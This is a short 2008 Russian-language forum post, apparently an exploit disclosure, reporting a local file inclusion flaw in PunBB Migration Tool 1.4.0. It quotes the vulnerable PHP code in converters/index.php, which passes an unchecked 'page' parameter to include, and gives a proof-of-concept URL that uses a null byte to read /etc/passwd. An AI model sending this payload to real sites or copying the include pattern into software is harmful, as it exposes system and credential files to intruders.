18.07.2008, 12:48
|
|
Banned
Регистрация: 30.03.2007
Сообщений: 344
Провел на форуме:
5149122
Репутация:
2438
|
|
PunBB Migration Tool 1.4.0
PunBB Migration Tool 1.4.0
Download URL:
Код:
http://punbb.er.cz/czmirror/PunBB_Migration_Tool-1.4.0.tar
Bug Type:Local File Inclusion
Bug In:
Код:
converters/index.php
Vulnerable Code:
Код:
<?php // Load a specific page else{ if(file_exists($_GET['page'] . '.php')) include $_GET['page'] . '.php'; else include 'settings.php'; ?>
Proof Of Concept:http://www.website.com/[path]/converters/index.php?page=/etc/passwd%00
|
|
|